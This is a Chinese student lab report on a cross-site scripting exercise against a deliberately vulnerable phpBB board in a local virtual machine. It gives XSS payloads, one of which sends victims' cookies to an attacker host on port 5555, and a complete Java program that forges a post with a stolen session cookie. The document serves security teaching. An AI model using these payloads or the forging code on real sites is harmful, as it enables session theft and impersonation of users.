SiteScripting(XSS)攻击实验报告一

52fw.cn 栏目【范文】【实验报告】 已阅0

(如果大家发现报告中有问题的话,欢迎大家留言讨论O(∩_∩)O。。。。)

第一部分 实验目的

1.1 理解跨站脚本(XSS)攻击的原理

1.2 熟悉JavaScript脚本语言的使用

1.3 熟悉火狐浏览器中Live Http Headers工具的使用

第二部分 实验介绍

2.1 实验背景

Cross-site scripting(以下简称XSS)是网页应用程序的一种常见漏洞,它使得攻击者向受害者的浏览器中注入恶意的代码(例如一段JavaScript脚本程序)。一旦执行这段代码,攻击者就可以偷取受害者的隐私数据,比如cookies。虽然浏览器可以使用一些保护措施,比如(同源措施, 参考资料[1])。但是XSS攻击却可以轻易绕过这些保护措施,正因为如此才导致了目前Internet上XSS攻击的盛行。

为了说明攻击者是如何探索XSS漏洞的,我们建立一个信息公告版(相当于BBS,后面简称BBS)。我们修改了这个软件,使其具有XSS漏洞。这种漏洞使得BBS的用户可以向自己贴中添加任何的内容,包括JavaScript脚本(这对本使用至关重要)。这样的话,BBS的用户就可以在贴中添加XSS攻击脚本。而其他用户,如果来点击阅览这些具有恶意代码的帖子,他们就会被攻击,被攻击的结果是以这些受害者的名义发布伪造的帖子。

2.2 实验配置

2.2.1Firefox浏览器:

我们需要使用Firefox中的LiveHTTPHeader插件来查看HTTP请求和回复信息

Apache服务器:

使用命令:

sudo apache2ctl start

或者

sudo service apache2 start

启动Apache服务器。

配置web服务器:

Apache服务器具有基于名字的虚拟主机特性,这种特性使得可以在同一台机器上配置多个web网站。这可以通过修改/etc/apache2/sites-available文件中的NameVirtualHost*字段达到目的,每一个web应用程序都有一个VirtualHost字段来配置网站对应的URL,以及网站源程序所在的目录。

例如:

我们用URL:配置一个网站地址,用/var/www/Example_1/来配置网站源程序放置的目录;

用URL:配置一个网站地址,用/var/www/Example_2/来配置网站源程序放置的目录。

为了达到上述目标,我们需要配置下面的VirtualHost字段:

<VirtualHost *>

ServerName

DocumentRoot /var/www/Example_1/

</VirtualHost>

<VirtualHost *>

ServerName

DocumentRoot /var/www/Example_2/

</VirtualHost>

例如本实验用的在/etc/apache2/sites-available中的配置信息如下:



2.2.2 phpBB信息公告板系统

phpBB 网站应用程序已经安装在我们的系统中,我们可以使用URL:来访问这个BBS系统。

备注:这个URL仅仅在我们的虚拟机内部可以访问,因为我们修改了/etc/hosts文件,使得域名:

映射到本机的IP地址:127.0.0.1。

示意图如下


备注:

当然了,我们也可以修改/etc/hosts映射任何一个域名到一个特定的IP地址,例如你可以映射到本地IP,通过如下修改/etc/hosts中的映射表:

127.0.0.1      

因此,如果你的web服务器和浏览器不在同一个机器上,你需要修改浏览器所在主机的/etc/hosts文件,让到服务器的IP地址。但是实验中为了方便,我们把BSS服务器和浏览器在同一个虚拟机上。

第三部分 实验内容

3.1 发送一段可以显示alert窗口的恶意代码

下面的这段JavaScript代码可以显示一个Alert窗口:

<script>alert(’XSS’);</script>

如果我们发的帖中包含这段JavaScript脚本,那么任何一个浏览我们贴着的人都会看到一个alert窗口。

程序示意如下:

Step1:发一个名为A alert window,内容为<script>alert(’XSS’);</script>的帖子:


Step2:任何一个浏览该贴的人,都会弹出一个alert窗口,不管你是否登录BBS

弹出Alert窗口如下



3.2 用alert窗口显示用户Cookies

发一个名为Display Cookies的帖子,发帖内容如下:

<script>alert(document.cookie);</script>

Hello Everybody,

Welcome to this message board.

发帖过程同3.1.

当单击这个帖子阅读时,会弹出alert窗口,显示用户的cookies:

#p#分页标题#e#



3.3 盗取受害者的Cookies

在3.2中,用户在贴中贴入上述的JavaScript,就能够显示出用户的Cookies。本次试验中,攻击者想让JavaScript代码发送用户的Cookies到攻击者的终端上。为了能够达到这个目标,我们希望JavaScript代码能够向攻击者发送一个HTTP请求,同时把Cookies追加到这个请求上。

为了达到这个目的,我们在JavaScript中插入一个<img>标签,标签的src指向攻击者的URL,这样当JavaScript试图插入一个img标志时,浏览器会从指定的URL中载入图片,所以它会向攻击者发送一个HTTP GET请求。例如下面的JavaScript脚本将用户的Cookies发向攻击者的5555端口。同时在攻击者的5555端口运行一个TCP服务器,它不停的监听这个端口,并把收到的请求打印在终端打印出来。

JavaScript脚本:

Hello Folks,

<script>document.write(’<img src=http://attacker_IP_address:5555?c=’

+ escape(document.cookie) + ’ >’); </script>

This script is to test XSS. Thanks.

第一步:BBS用户ted发送含有上脚本的帖子,示意图如下:



第二步:ted发送帖子的时间,就会运行JavaScript脚本,该脚本将tedcookies发往攻击者,攻击者上运行一个TCP服务器监听端口5555,并把收到的信息在终端中显示出来。这样tedcookies就会在攻击者机器的终端上显示出来。

示意图如下:



3.4 利用获取的Cookies来冒充受害者

攻击者偷到受害者的cookies之后,攻击者就可以在BBS中冒充受害者做任何受害者可以做的事情,比如以受害者的名义发一个新帖,或者删除受害者已发的帖子等等,本次实验中我们就利ted的cookies,在BBS中以ted的名义发送一个新的帖子。

ted登录bbs发贴,同时用火狐的HTTP LIVE Headers插件捕获发帖的信息:




用捕获的ted发帖的上述信息,编写HTTPSimpleForge.java程序,并填写相关的参数。

完整的HTTPSimpleForge.java代码如下:

import java.io.*;

import java.net.*;

public class HTTPSimpleForge {

public static void main(String[] args) throws IOException {

try {

int responseCode;

InputStream responseIn=null;

// URL to be forged.

URL url = new URL ("http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");

// URLConnection instance is created to further parameterize a

// resource request past what the state members of URL instance

// can represent.

URLConnection urlConn = url.openConnection();

if (urlConn instanceof HttpURLConnection) {

urlConn.setConnectTimeout(60000);

urlConn.setReadTimeout(90000);

}

// addRequestProperty method is used to add HTTP Header Information.

// Here we add User-Agent HTTP header to the forged HTTP packet.

urlConn.addRequestProperty("User-agent","Sun JDK 1.6");

urlConn.setRequestProperty("Accept","text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

urlConn.setRequestProperty("Accept-Language","en-us,en;q=0.5");

urlConn.setRequestProperty("Accept-Encoding","gzip,deflate");

urlConn.setRequestProperty("Accept-Charset","ISO-8859-1,utf-8;q=0.7,*;q=0.7");

urlConn.setRequestProperty("Connection","keep-alive");

urlConn.setRequestProperty("Keep-Alive","115");

urlConn.setRequestProperty("Referer","http://www.xsslabphpbb.com/posting.php?mode=newtopic&f=1");

#p#分页标题#e#

urlConn.setRequestProperty("Cookie","phpbb2mysql_data=a:2:{s:11:"autologinid";s:0:"";s:6:"userid";s:1:"6";}; phpbb2mysql_sid=df444be6e36ed5d3e54800c47b9ad5af; phpbb2mysql_t=a:1:{i:9;i:1306422029;}");

urlConn.setRequestProperty("Content-Type","application/x-www-form-urlencoded");

urlConn.setRequestProperty("Content-Length","245");

//HTTP Post Data which includes the information to be sent to the server.

//String data="username=admin&seed=admin@seed.com";

String data="subject=test+by+ted&addbbcode18=#444444&addbbcode20=0&helpbox=Underline+text:+[u]text[/u]++(alt+u)&message=test&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid=df444be6e36ed5d3e54800c47b9ad5af&f=1&post=Submit";

// DoOutput flag of URL Connection should be set to true

// to send HTTP POST message.

urlConn.setDoOutput(true);

// OutputStreamWriter is used to write the HTTP POST data

// to the url connection.

OutputStreamWriter wr = new OutputStreamWriter(urlConn.getOutputStream());

wr.write(data);

wr.flush();

// HttpURLConnection a subclass of URLConnection is returned by

// url.openConnection() since the url is an http request.

if (urlConn instanceof HttpURLConnection) {

HttpURLConnection httpConn = (HttpURLConnection) urlConn;

// Contacts the web server and gets the status code from

// HTTP Response message.

responseCode = httpConn.getResponseCode();

System.out.println("Response Code = " + responseCode);

// HTTP status code HTTP_OK means the response was

// received sucessfully.

if (responseCode == HttpURLConnection.HTTP_OK) {

// Get the input stream from url connection object.

responseIn = urlConn.getInputStream();

// Create an instance for BufferedReader

// to read the response line by line.

BufferedReader buf_inp = new BufferedReader(

new InputStreamReader(responseIn));

String inputLine;

while((inputLine = buf_inp.readLine())!=null) {

System.out.println(inputLine);

}

}

}

} catch (MalformedURLException e) {

e.printStackTrace();

}

}

}

编译并运行java程序,在BBS中,以ted的名义发帖:



标签: Cross-SiteScripting(XSS)攻击实验报告